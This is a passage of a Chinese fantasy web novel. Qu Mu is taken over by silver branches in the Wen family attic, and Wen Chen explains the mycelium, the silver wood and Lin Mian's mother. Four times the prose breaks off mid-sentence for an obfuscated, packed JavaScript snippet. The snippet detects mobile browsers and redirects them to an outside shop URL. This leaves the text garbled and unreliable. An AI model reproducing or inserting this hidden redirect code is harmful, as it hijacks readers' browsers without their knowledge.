瞿木还不忘给文忱发了几条消息过去,还说自己报警了。他可是掐着时间,超过24小时,他就报警。 “上去看看。”秦宁说,这里门外有保安,屋子里面怎么一个人都没有? 瞿木点点头,朝楼梯走去。 文家老宅看起来十分的老旧,楼梯都是木质的,踩上去发出“咯吱咯吱”的声音,在空旷的房子里十分的明显。 好不容易到了二楼,瞿木看了看周围,也没发现什么异常。 但不同的是,二楼的房间都是上了锁的,且二楼有好几个回廊,一眼看去,像是迷宫一样。 “正经人谁会住这样的房子?真不怕在家里迷路啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984046|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞿木吐槽说,“这里的房门打不开,都上了锁。” 秦宁也都试了一下,把这一排的房间挨个试了试,都没法打开。 “上面还有个阁楼。”瞿木探着脑袋往上看,这边有个小楼梯,很窄,只能一个人走,也不知道这小阁楼上是什么。 秦宁回头看了一眼,说:“等会儿再上去,我们先试试这些门能不能打开。” 已经到了这里,秦宁也很确定这栋宅子里没有人。他对文家有很多好奇的地方,这样做虽然不耻,但…来都来了,说不定会有意外的收获。 瞿木有些无语,他确定林眠不在这里了,当务之急应该离开才对。但看着秦宁这么兴致勃勃的模样,加上卫叔还没给自己新的地址,他也就答应了。 就看一会儿! 瞿木站在楼梯口处给秦宁看风,秦宁则不知道哪儿掏出铁丝,试图开门。 “你这平时表面看着刚正不阿,怎么连开锁都会啊?”瞿木忍不住说。 秦宁撇了一眼瞿木,“必备技能。” 瞿木嫌弃地撇了下嘴角,直接靠在楼梯上,这座宅子根本就没有人在,他也就没那么蹑手蹑脚的。 秦宁终于把门打开了,他走进去看了一下,是个书房,书桌侧边全是书架,看着有十几个书架整整齐齐排列。 他上前看了几本,书本很干净,上面没有落灰,且越往后走,书籍的年代也就越久。这些书籍都是一些玄学类的,也有一些怪谈。 只可惜实在是太多了,秦宁也没有时间一一看完,大概粗略一看,也就出来了。 “怎么样?”瞿木问。 “是书房。”秦宁回答,就准备去下一间。 瞿木看了看外面,说:“这里全是房间,你这样一间一间地看,还要开锁,天亮了都看不完。” 秦宁也清楚,但还是想多看一些。 “再看一间,我们就离开。”秦宁说。 瞿木也只能答应他。 秦宁这次开锁熟练得多。文家的锁都是老式的锁,别在门上看着就有种庄重感,但这一间房的锁不是,从而也引起了秦宁的注意力。 瞿木看风看着有些无聊,抬头看向头顶上的阁楼,心底突然冒出个声音,让他上去看看。他看着漆黑的楼道,要上去看看吗? 他走了上去。 沿着只允许一人通过的楼道,往上爬。 到了阁楼顶处,他便如同被定住了一样,身体僵硬不能动。 在二楼的秦宁打开了锁,这间房有很浓重的矿质物品的味道,走进去一看,这里就像是药房,架子上摆满了各种瓶子,里面装着五颜六色的矿石。 他走上前到一章桌子处,看了看桌上有研磨好的红色朱砂。 秦宁驻足了片刻,就离开了。 这两间房没发现什么异常,一间是书房、有一间是丹药房,不算什么奇怪,很多除妖世家也会制作一些丹药。 他出来,将门锁好,发现瞿木不见了。 “瞿木?”秦宁轻喊一声,没有得到回应。 他四处看了一下,走到楼梯口处,朝下看,也没有看到瞿木的身影。而头顶上的阁楼处,突然发出异样的白光。 秦宁抬头看去,不带思索就往上快步走去。 65. 银色树枝 秦宁上到楼顶阁楼的时候,看到瞿木的身体上、从头到脚,长出一根根的树枝,从他的身体里快速蔓延、破土而出。 而皮肤则被银木撕裂开来,血迹在银木根部处泛着暗淡的红。 “瞿木!”秦宁见状,不免心惊,有粗有细的银色树枝在瞿木的身体里长出,戳破他的皮肤,空气中弥漫着血腥味。 瞿木听到声音,僵硬地扭过脖子,看向秦宁,他张了张嘴,但说不出话。他的喉咙处正被银色树枝穿插而过。 秦宁咬着牙,说:“不要动。” 话虽这么说,但他也是第一次遇到这种场面,也不知道该使用什么术式、什么办法好。 还不等秦宁想出办法,瞿木身体突然抽动了起来,他开始浑身抽搐,而长在身体上的银木也快速地收缩,一点点融进瞿木的身体里。 过程只持续了大约一分钟,瞿木身体上的银木消失完,他就摇摇晃晃要倒在地上,秦宁连忙上前扶住瞿木,将他扶到一旁休息。 秦宁看着瞿木昏迷的模样,心中满是震惊,又感到心惊。他拉起瞿木的手,检查刚刚有没有留下银木的痕迹。 然而瞿木身上皮肤光滑,一点都看不出刚刚皮肤被银木撑破的模样。 就连流出来的血液,也都被一一回收到身体里。 是菌丝做的吗?秦宁心想,瞿木身体里也有菌丝,和林眠能控制菌丝不一样,他身上的菌丝更多是治疗,能够快速恢复身体的损伤。 但那些银色树枝是怎么从瞿木身体长出来的? 是因为这里的阁楼吗? 秦宁想着,站起身,仔细地打量着这间阁楼。 阁楼没什么物品,只有几张桌子和椅子,杂乱无章的摆放着,但更引人注目的,是墙上的空白相框。 密密麻麻,几乎将正面墙都占据了,看不到后面白色的墙皮。 这里曾经应该有画?那为什么只留下相框? 秦宁将整个阁楼都搜查了一番,没发现什么异样。在这里,异样最大的就是瞿木。 大约过了半小时,瞿木就醒来了。 瞿木挥了挥手,猛地从地上蹿起来。他又开始做梦了,这是还是那个变成蘑菇的梦,因为林眠不在这儿。 他缓了缓神,看到秦宁的时候,愣了下神,又连忙扶住旁边的墙壁,深呼吸一口气。 “怎么样了?” 瞿木摇摇头,“我睡着了?” “我刚刚好像做了个梦,又不太像是。” 秦宁看着瞿木迷糊的状态,问他:“刚刚发生什么事你还记得吗?” “刚刚?”瞿木回想了一下,抬起头看着周围,“奇怪…这里不太一样了。” “哪里不一样?”秦宁也跟着看了看周围,他从楼下上来的时候,这里就这样了。 瞿木拍了拍脑袋,几秒后才说:“我脑子有点乱,我们先出去吧。” 不知道为什么,待在这里,他有一些喘不过气、很沉闷的感觉,迫切想要出去透透气。但在出去前,他还是回头看了一眼这个阁楼,这个阁楼绝对不一样了。 下到二楼,瞿木感觉好多了,能喘上气了。 秦宁也知道此地不宜久留,和瞿木一起,两人原路还回,来到了院子处、爬过围墙,来到大路上。 走一段下坡路,就有车辆经过了。 瞿木沉着一张脸,打了车。 在车上,他还在回想刚刚的事情,他没有失去记忆,就是有些混乱,仔细捋捋,是能够捋清楚的。 秦宁也没说话,闭着眼打坐。 “到了。”司机停下车,说。 瞿木和秦宁下了车,两人站在市中心处,看着街上人来人往、车来车往。 “你等会儿,我等会跟你说。”瞿木一屁股坐在一个石墩上,垂着头思考。 秦宁就站在旁边等着,路过的人看到他们两个,都投来视线,但都在秦宁平静的注视下急匆匆的离开了。 “那间屋子里,有很多银木。”瞿木突然抬起头,开口说。 “银木?”秦宁问。 瞿木点点头,“我一爬上去,就看到了墙壁上挂着一面的银木,不,和我身上玉佩的银木不一样,也不是云泉酒店做成戒指的模样,就…原生态的银木,不,银树,也不对。” 瞿木一时之间想不到词了。 “树枝那样的?”秦宁说。 “对对对,就像是树上的树枝,一根一根的,很多,在墙上挂满了。”瞿木形容着说,“我爬上去的时候,它们正散发着白色的光芒,就像是我们在盖山的时候,听到的银色大树传闻一样。” “但没有树干,只有树枝。” 秦宁大概能想到那副场景,但是… “你之后是怎么回事?” 秦宁对于文家有大量银木不感到奇怪,毕竟最开始流传在世的玉佩边镶银木就是文家流出来的,只是这么多年过去了,大家对于银木的认知还是一知半解。 “之后,”瞿木深呼吸一口气,“之后事情就变得奇怪起来了。” “我看到这么多的银木,觉得很奇怪,而且这些银木会发光,我就走上去,伸出手一摸,突然这些银木就……” 瞿木咽了口口水,眉头皱起,“钻进了我的身体里,顺着皮肤,我感到很疼,身体就像是被巨大的银针扎进去,一根一根……” 光是想起那个感觉,瞿木就浑身打颤,可他还是要坚持说出来,因为他觉得…事情越来越不对劲了。 “之后,就是你上来看到的模样了。” 他那会儿意识很清晰,能听到秦宁的声音,也能看到,但身体的疼痛让他很难做出反应。之后也是脑子一团乱,现在也才捋清一些。 “银木为什么会进去你的身体里?那玉佩你戴了这么多年都没事。”秦宁在旁边说,“难道和那个梦有关?” “梦?”瞿木回想起那天做的那个梦,晃了晃头,“我不知道,可能是吧。” 他现在有些疲惫,但也没法入睡。 对了,他还要去找林眠,但卫叔那儿一点消息都没有。 “你也不要太过担心,林眠现在被文家带走,一时半会儿肯定不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996791|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会出事。”秦宁安慰他说,“虽然不知道文家的目的是什么,但林眠肯定不会出事。” 瞿木没出声,只是垂着头。 两人在梧州市中心的街头处,一个坐着,一个站着。 —— 已经凌晨12点了,林眠还没有睡。 她被绑在一张椅子上,两只手都被捆绑起来,手指还被迫摆出一个奇怪的姿势,她的手臂还被贴上了奇怪的符咒。 这是一间空房子,周围什么也没有。 林眠坐在中间,抬头看向四周。她尝试着操控菌丝,但都不行,菌丝一点反应都没有,看样子应该是自己手臂上的符咒导致的。 她尝试了好几遍,都没能把自己双臂上的符咒取下来,只能在椅子上白费力气。 “你最好别乱动。”文忱打开房门走进来。 林眠抬起头,看向文忱,他换了一件衣服,现在身上穿的是一件白色的褂子,手上还拿着一个黑匣子,朝着自己走来。 “你要做什么?”林眠睁大双眼,鼻尖还嗅到了一股药香味。 文忱没说话,只是拿着匣子走到林眠面前,说:“你不要害怕,我不会伤害你,只是有些事需要你做。” “那你把我放了,要我做什么我做就是了。”林眠说着,晃动了一下身体,被这样捆着很难受。 文忱抬起眼,看着林眠,说:“你不像是那么乖的人,就和你妈妈一样,总得用点特殊手段。” 林眠挣扎不开,也放弃了,仰起头看着文忱。 “你为什么总说我妈妈?”林眠问他。 “因为…”文忱看向外面的窗户,顿了几秒,才摇摇头,笑着说:“没什么。总之,你和你妈妈很像。” 文忱说完,将手上的匣子放到林眠的腿上,再退到门口处,闭上眼虔诚地拜了三下。 “这是做什么?”林眠看向自己面前的匣子,不知道他想要做什么。 文忱说:“有一些事需要见见你体内的那位大人,就劳烦你先休息一会儿。” “什么?”林眠一时之间没有反应过来,这是什么意思?见见自己体内的…那位大人?是指菌丝吗? 还不等林眠再问一些别的,她就感觉到手臂处开始发热,一股热气直冲脑门,接着眼前一黑,就什么也不知道了。 也不知过了多久,林眠睁开眼的时候,天已经亮了。 屋内的窗帘被拉开,刺眼的阳光照射在她的身上。 林眠一抬手,才发现自己身上的绳索被解开了。她站起身,感觉浑身酸痛,便甩了甩手,扭动下肩膀,走到窗户边,往下看。 窗户外面能看到一个湖,低下是个花园,看样子这像个小区,就和瞿木家一样。不过这里看着只有两三层高度的样子。 林眠比划了一下,回过头看了眼门,抿着唇打开窗户,爬到窗户上,试着往下爬。 “咔哒”一声,门打开了。 文忱进来的时候,发现人不见了,窗户开着,便走到窗边,低下头一看,林眠的手正扒在窗台上。 两人对视。 66. 选中 “你也不怕摔死。”文忱就这么看着林眠,又突然想到什么,“摔死的可能性应该不大,断腿断手应该差不多。” 林眠仰着头看了眼文忱,便低下头,咬着牙伸脚往旁边站,但她腿不够长,够了半天都没够到。 而文忱就在上面看着自己,她顶着这股目光,够了几次,都没成功,便有些恼羞成怒了。 “上来吧,瞿木他们在一楼等着你。”文忱也看够了,对她说。 林眠猛地抬起头,问:“瞿木?你把他们也绑来了?” “什么绑?是他们自己要来的。”文忱低下头,看着林眠,说:“你不上来?那我去喊他们去下面接住你。” 林眠没吭声,因为她分不清文忱是不是骗自己。 犹豫了几秒,她伸出一只手,尝试着操纵瞿木试试,结果真的能感应到瞿木的存在,她才抬起头去看文忱。 “没骗你。”文忱笑着说。 林眠这才不情不愿的爬上来,期间文忱还想搭把手,被林眠直接拒绝了。 “他们在哪?”林眠问,她刚刚能操控瞿木,说明距离不是很远。 “楼下,跟我来。”文忱也没心思逗她了,把人逗急了可就不好了。他让林眠跟着自己往外面走。 林眠现在也只能跟着他往外走。 她一点来时的记忆都没有了,出了门,便有些好奇地打量着周围,装修风格和瞿木家完全不一样,瞿木家是灰白黑三色为主,这里颜色多是暗红色,家具也都是实木为主。 这房子是个复式楼,林眠在二楼,沿着栏杆走,往下看的时候,就看到瞿木和秦宁坐在下面。 “刚刚我的手动了起来。”瞿木还在跟秦宁说刚刚自己异样的反应,“林眠一定就在这附近。” 林眠看到瞿木他们,快步走到文忱前面,几乎是小跑着下的楼梯。 “哒哒哒”的脚踩在木地板上的声音。 瞿木听到声音,侧头看去,看到林眠,激动地走过来。 “你没事吧?”瞿木拉住林眠,从上到下地打量她。 林眠摇摇头,看到瞿木就笑了,“你们怎么来了?他也把你们绑来了吗?” “那没有。”瞿木说,“我们是自己找上门来的。” 说到这个,瞿木仰起头,瞪着楼梯上站着的文忱。虽然自己今天早上来的时候,文忱态度很好,但瞿木还是不爽。 有什么事都可以直接说,把人“诱骗”到家里来,简直就是图谋不轨! 文忱没直面面对瞿木,而是慢慢地走下来,坐到一旁的椅子上,开始泡茶。给他们每个人都倒了一杯茶。 林眠看了眼瞿木,有些犹豫,她想着就是现在赶紧跑,可秦大师还坐在那儿。 瞿木也是这么想的,但今天文忱见他们来了,便招呼他们,还说林眠在楼上睡觉,等会就会下来。 事情也确实如此,可林眠这个样子,显然不是自愿的。 既然也见到林眠了,他便说:“既然人我们接到了,那就先走了。” 文忱直接忽视瞿木,走了过来,坐在主位上,开始泡茶。 瞿木刚准备带着林眠离开,就听到文忱的声音。 “过来坐,有些事需要和你们说。”文忱倒完茶,朝他们挥挥手,示意坐在对面。 瞿木和林眠回过头,见秦宁已经坐好了,并用眼神示意他们也过来。犹豫再三后,两人还是坐了下来。 “文叔,您刚刚说会和我们解释缘由。”秦宁端起茶,表示愿意洗耳恭听。 林眠坐在瞿木身旁,脑子还不太清明,从昨天的事到现在坐在一起喝茶,她总觉得自己稀里糊涂的。 还有文忱说的自己的妈妈,和文家的关系,以及自己体内的…那位大人。 文忱喝了口茶,放下杯子,说:“该从哪儿说起?” “从菌丝,还是从林语枫,还是,”文忱顿了顿,眼神犀利了一些:“无支祁?” 这几个关键词组在一起,每个人都不由得紧张了起来。 “看来文家知道的很多,那麻烦可否告知一二?”秦宁说,上一次他试探过文家,可文家什么都不愿意说,现在又在这里提起来。 文忱看向秦宁,笑笑:“秦家还真是后生可畏。” “那就从菌丝说起吧。” 文忱说到正事,表情也严肃了起来。 “文家意识到菌丝的存在,是在1995年。我哥文恪带回了一个女孩,”文忱说着看向林眠,“也就是林眠的母亲,林语枫。” 说到这儿,瞿木下意识看了眼林眠,他对林眠这个母亲也不是很喜欢,哪有直接把一岁还在吃奶的孩子扔给老家的外婆的? 等下,瞿木后知后觉意识到,那这么说,文忱是林眠的奶奶? “你是林眠的亲叔叔?”瞿木直接脱口而出。 “怎么,不像吗?”文忱挑眉说,“不过,林眠长的像她妈妈,和我倒是还真是没几分相似。” 瞿木顿时也没话了,搞了半天,还是自家亲戚啊。 林眠听着他们说,没有多大的感觉,她对这个母亲毫无印象,至于父亲,也是。更何况是之前从未见过面的叔叔。 在她耳里,这就像是听别人的故事一样。 文忱也没多说这件事,便开始解释起来。 “文家的人是第一次见菌丝这东西,都觉得很惊奇,能够寄生在人的身体里,且还能被人使用,简直就像是上天赋予人的超能力。 “当时文家就想要研究菌丝,语枫也很配合,陪着我们做了很多的实验,有了各种的数据,我们对菌丝也比较了解了。” 文忱说着,秦宁打断他的话,问:“文家早在一百年前就宣布不再参与玄学界的事情,为什么还要研究菌丝?” “不参与,不代表不继承。”文忱挑眉,“况且,像我们这样的家族,是没有权利选择的。你能够放下驱魔弓,可驱魔弓能让你走吗?” 秦宁没出声,他从出生的时候,驱魔弓就认他为主了。自此之后,他便一直刻苦训练,以成为秦家的继承人为荣。 “当时我们把菌丝的定位就像是傀儡匣、秦家的驱魔弓、柳家的蛇骨伞一样,是会认主的武器。但这种武器一般以家族传承下去,可调查后发现,菌丝是在语枫五岁的时候寄生的。” “我们无法找到菌丝的上一任主人,语枫也不清楚。为了彻底了解,我们去了盖山村,见到了林神婆。” “在盖山村,我们调查了很久,找到了很多资料,但都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007087|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太少了,无法解释菌丝的来源和存在。最终,我们把目光投去了盖山。” 林眠听着,这几乎和他们之前在盖山村一样的情况,在盖山村找到了一些资料,也去了盖山。 “在盖山发现了什么?”瞿木问,这情况怎么和他们那一次这么像? 文忱也不打哑谜,说:“在盖山,遇到了那位大人。” “我们把祂称之为那位大人,是因为不知名字。”文忱解释缘由,对于妖物来说,名字就是最直接的口言之令。 “也就是在那时,我们才对菌丝有了真正的了解。”文忱接着说,“也是在那时我们才知道,是那位大人找上我们,我们只是被引导着去了盖山。” “那银木呢?文家流出第一块银木,至少是好几百年前。”秦宁问,如果文家是前几十年才认识的菌丝,那银木又是什么? 文忱没说话,而是端起茶,润了润嗓子,再接着说:“最开始,谁也不知道银木也是来源盖山。” “最开始,流落在外面的那块银木镶玉,是一块普普通通的银木,没有任何作用,但它之后的主人身上都有怨气,经过几代传承,这块银木便有了邪性,也就是你们熟知的银木邪性。” 文忱简要解释了瞿木身上那块银木的来源。 瞿木拿出自己的银木,这上面已经长满了许多小巧的枝条,他晃了晃给文忱看,问他:“那菌人呢?菌人天天在这上面摩擦,就有了这些枝条,跟铁树开花了一样。” “不急。”文忱看了眼玉佩,不多大在意,接着说:“你们去了盖山村,应该也知道,银木的来源是一棵巨大的银色树木。” “文家发现这棵大树则是在700年前。据祖上记载,第一次发现银木是在一处海边,海边零零散散落了很多银色的树枝,极为惊奇,便将这些银色树枝带了回来,并加以研究。 “但当时并未发现这些银色树枝有何独特之处,但也与普通树木有所不同,就保存了下来,也切割了一部份做了物品。” 文忱一口气说明银木的来源。 “不对啊,银色大树应该是生长在盖山,怎么会出现在海边?”瞿木问。 秦宁听的很认真,同时也在思考,说:“海里有无支祁,菌丝说银木是最好的容器,难道是…” “没错,无支祁被困在海底,是利用了银木的能力。”文忱又给他们加满了茶,“但随着银木的再生,海底的封印也逐渐减弱了,无支祁也开始频繁地活动。” “那应该是十年前,那会儿银木就再生了?”秦宁还是有些不明白。 林眠捧着热乎乎的茶,听着他们说,脑袋里也是一团乱。 “对,瞿木身上的那些银木,有不少就是再生的。”文忱把视线停留在瞿木身上。 林眠听到了,也看向身旁的瞿木,眨了眨眼,说:“不是,瞿木身上的那块银木是最近才长出枝条的。” 瞿木面对着他们三个打量的目光,很快反应过来,小声问:“是昨晚那些挂在相框里的银木树枝吗?” “是的,你被银木选中了,成为它的载体。”文忱说。 “什么意思?”瞿木不解。 文忱漫不经心地看了眼瞿木,解释说:“也就是要你成为银树的躯干。” 67. 你的存在 文忱说出这句话的时候,大家都沉默了。 瞿木在大家的注视下,顶着巨大的压力,从椅子上起来,咬牙切齿地说:“为什么是我?” 什么成为躯干?听着就不是什么好事。 “我是个人,我怎么成为树的躯干?不能是因为我名字里面有个木吧?”瞿木反抗说,他才不要! “在风水里,人的一辈子本身就脱不了名。你既然取名叫木,那自然有成为‘木’的潜质。”文忱身体往后倾,倚在椅子后面,调戏地看着瞿木。 瞿木哑口无言,他等下就回去改名!他要改个金。 林眠不太明白成为躯干是什么意思,但看着瞿木这么生气的模样,她伸出手拉了拉瞿木的衣袖下摆,问文忱:“成为躯干是什么意思?” 瞿木看了眼林眠,顿时有些委屈了,怎么什么倒霉事都是自己啊?! 文忱看了眼林眠,说:“银树不是树木,它也是一种妖物,这种妖物就和骨妖一样,终其一生都在寻找一件物品。” “银树只有树枝,树枝会茁壮成长,但不会成为躯干。所以,它要找的就是躯干,一具它满意的躯干,然后成为它的一部分。” 说到这儿,文忱笑着说:“700年前,我们文家在海边发现银木的时候,它没有躯干,七百年后,它终于找到了它满意的躯干。” 瞿木抽了抽嘴角,这个躯干就是自己? “那瞿木会怎么样?”林眠听着,她不在乎银树对躯干的执着,更在乎瞿木会怎样。 “于人而言,应该是死了。身体逐渐银木化,成为真正的银木。” 文忱都一一解答了,语气很轻松。 瞿木就不淡定了,他脑袋发麻,怎么不是想把他变蘑菇变菌人,就是让他变成树? “怎么可以?”林眠听着都很难过,如果瞿木变成树了…… “他不是还有选择么?变成菌人,或者变成银树的一部分。”文忱幸灾乐祸地在旁边补充道。这个时候,也只有他乐的出来。 这两个选择对瞿木来说,都不是什么好选择,他就不能作为一个人活着吗? “你还没说到菌人,菌人是怎么活跃在菌丝和银树两者之间的?”秦宁问文忱。 瞿木和林眠都看向秦宁,怎么他还能问出别的问题?一点都不考虑下瞿木现在的心情吗? “那位大人和银树都是盖山的产物,妖物也有领地意识,两者要么在盖山斗个你死我活,要么就共存。但是,这两者更像是上下属的关系,银树也是依附那位大人而生。” 文忱说着,“关于菌人,这个我们了解的不多,主要是一只菌人也没找到。但史上有记载过菌人,只是没人把它当成妖物,因为从未见过。” 因此,关于菌人,文忱也没法回答太多。 林眠听到这个,刚想说话,就被瞿木拉住了,在瞿木的眼神示意下,她没说话了。 “不过,有菌丝在,菌人这玩意想要多少有多少。”文忱突然冒出一句。 “菌丝把人变成菌人,具体要怎么做?”秦宁不知不觉间,已经正在记录了。这个问题他也没弄明白,瞿木被菌丝实在太过于巧合。 “嗯。”文忱思考了一下,随后笑着说:“这个我也不知道。” 秦宁也不多问了,把今天的对话都记录了下来。 瞿木已经蔫蔫的了。 文忱看他们都状态不佳,也就站起身来,说:“好了,解疑就到这儿了。” “各位可以在这里住上几日,因为之后…或许没有太平日子过了。” 文忱说完,就准备要离开了。 “等下。”秦宁喊住文忱,说:“除了这些,你还有很多事情没说,云泉酒店里供奉无支祁的雕塑,以及…你们文家和无支祁之间有什么联系。” 文忱回过头,看了眼秦宁,说:“这些等到今晚再说,你们也累了,就先休息会吧。” 话音落下,他就抬脚离开了。 “为什么要晚上啊?干脆一次性说完得了。”瞿木抱怨道,反正他感觉也没有比现在更糟糕的了。 林眠目送文忱离开后,又看向瞿木,就有些忧心忡忡。 “啊!” “怎么办啊?”瞿木双手抱头,文忱一走,他也不装了。他回想起昨晚的事,说:“我该不会一点一点的变成木头吧?” “应该不会。”秦宁关上手机,说。 瞿木抓到希望,用充满希冀的眼神看着秦宁,问:“真的吗?” “这应该也有个过程,就像林眠的菌丝寄生在你的体内一样。”秦宁接着说。 瞿木抽了抽嘴角,早一点和晚一点有什么区别?反正都要死。他看向旁边不说话的林眠,问她:“你昨晚怎么样了?他没对你怎么样吧?” “不过他是你叔叔,应该不会对你做什么。”瞿木说着又委婉了一下,毕竟他也不知道昨晚林眠发生什么事了。 林眠摇摇头,说:“昨天我莫名其妙的来到了这里。” 她话还没说完,秦宁就插上一句话。 “那是文家的操纵术,你应该是触发了什么特定条件,才会这么成功。”他昨晚看了监控,看着林眠是自愿跟着文忱走的。 林眠抿着唇,接着说:“到了这里,他就把我捆起来,给我的手上贴了两张奇怪的符咒后,我就清醒过来了,但我也没办法操控菌丝了。” “看来文家果然很了解菌丝,甚至知道怎么克制。”秦宁在旁总结。 瞿木在心里吐槽,那这文家也太变态了吧?连秦宁都不知道的菌丝,他们竟然还能克制。 “之后,他就说了要见那位大人,我就眼前一黑,什么也不知道了。一睁眼,天就亮了。”林眠说完自己的状况后,便问:“你那边呢?” “刚刚文…叔说什么那些银木?” 林眠刚刚听的很认真,只是一直没出声。 “昨晚我和瞿木以为你在文家老宅,便去了,结果发现哪里有很多银木。”秦宁说道。 林眠看向瞿木,问:“发生了什么事吗?” 说到这个,瞿木难免有些丧气,怏怏地说:“那些银木太邪门了,我当时也是鬼迷了心窍,莫名其妙地上了阁楼,看到了一堆银木。” “然后,那些银木就钻进我的身体里,消失了。”瞿木说着,下意识搓了搓手臂,他没说银木戳进自己身体里的痛楚,只是简单的把事情说了。 林眠听到这里,有些难过,嘀咕着说:“那文忱说的都是真的。” “你会变成木头。” 瞿木:…… “还不一定呢,这都说不准,我看他就是为了让我不好过,乱说的。”瞿木打着马哈眼说道。 不知道为什么,他第一反应就是不想让林眠担心。 林眠看着瞿木乐观的模样,心里还是隐隐不安起来。文忱说的话,让她实在是无法安心下来。 “好了,你看我好好的,一点事都没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019910|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就充当一下银木的容器。”瞿木乐观地说,“而且,之后说不定还有办法,我才不想变成木头。” “真的吗?”林眠不太相信。 “你怎么变得多愁善感了?以前的你可没心没肺了。”瞿木打趣林眠说,“你该不会是…喜欢上我了吧?” 林眠眨眨眼,坚定地摇头:“你不是我喜欢的类型。” “那你喜欢什么类型?你那个素未谋面的网友啊。”瞿木垮着脸,问她。 林眠没有点头,也没有摇头,她也疑惑,自己为什么对那个人这么有好感,可是…瞿木说的也不成立,因为… “我都不知道祂是男是女,但是不管男女,我都挺喜欢的,不是你说的那个喜欢。” 林眠还是分得很清楚。 瞿木哑口无言,搞了半天,男女都不清楚啊。 他们两个在这打闹,一旁的秦宁已经进入打坐模式了。 “你要睡一会儿吗?”林眠问,昨晚自己不在,瞿木肯定没法睡觉。 瞿木看了看时间,现在也不能离开文家,加上自己确实有些困,便点点头,说:“我眯会儿,有什么事叫我。” “嗯嗯。”林眠使劲点头,刚刚和瞿木这么贫了几下嘴,她心情就开朗多了。 瞿木找个地方窝起来睡觉了。不知道什么原因,他竟然眼睛一闭就睡着了。 屋里突然安静了下来。 林眠没有睡意,她在屋内打量了一下,走到一旁的茶几处,抓了一把瓜子,就走到门口,坐在门槛上,开始嗑瓜子。 这是一栋复式别墅,出来外面有个大花园,正值秋季,即使是大中午,也让人感到一丝冷意。 门口处正好有太阳照进来。 林眠磕着瓜子,晒着太阳,惬意极了。 文忱走过来的时候,看到的就是这幅场面。他不动声色地走了过去,坐在了林眠身旁,还抓起一把瓜子。 林眠察觉到文忱过来,侧过头,抬起眼,奇怪地看了他一眼,便挪了挪屁股,往旁边坐了坐。 “你就一点也不好奇?”文忱主动开口问她。 “好奇什么?”林眠反问。 文忱笑笑,知道她是在装,也不拆穿她,而是说:“你爸妈的事。” 林眠沉默,她…其实还是有点想知道的。 “你母亲和我哥哥结婚后,两人就住在这里,一起研究菌丝,了解菌丝,同时也和你母亲体内的那位大人尝试着联系。 “正是基于此,我们文家才会对菌丝这么了解,也懂得如何与你体内的那位大人沟通。” 文忱说着,将手上的瓜子都放回盘子里,说:“但事情很快就不一样了。” “你母亲突然性情大变,不再配合文家的研究,我们召唤那位大人,也毫无结果。她变得易燥易怒,甚至还会出现自杀行为。” “我哥因此也心疲力竭,在之后,他们两个突然离开了文家。” 林眠认真地听着,有些不太懂。 “但令我没想到的事,你的存在。我之后多次去了盖山村,找了林神婆,都毫无线索,更加没想到你的存在。” 文忱说道,也是之前那次瞿木带着林眠来了,他们才又开始去调查。 调查后才发现,在三年前,林神婆突然给林眠上了户口,也就是在之前,林眠一直都是黑户。 “至今,也没有你母亲和父亲的消息,林神婆也去世了。”文忱说道,这些都是他后面得知的。 68. 妈妈的日记 林眠听完,愣愣地,也没给出反映,只是沉默的低着头,看着不远处的小池塘。良久,她才开口:“你昨晚说要见那位大人,见到了吗?” “没有。”文忱摇头,随后问她:“你有出现记忆短缺的情况吗?” 林眠摇摇头,“没有,但是…之前我和秦宁去盖山,他说菌丝占据我的身体出来了。应该,也就,那一次吧。” 刚刚文忱说了这么一些,林眠对他印象好了点,也愿意多说一点。 “之前那位大人在你母亲身体里的时候,祂可以随时抢夺身体的控制权。”文忱说,“但在你这里,似乎不太行。” 昨晚他做了实验,也试图强行把那位大人从林眠身体里召唤出来,但显然不行。 林眠眨眨眼,这个倒是和书签上的内容对上了。 “具体原因我也不清楚,但比起这件事,还有件更重要的事要去做。”文忱说完这句话,便起身,问她:“要去吃点东西吗?” 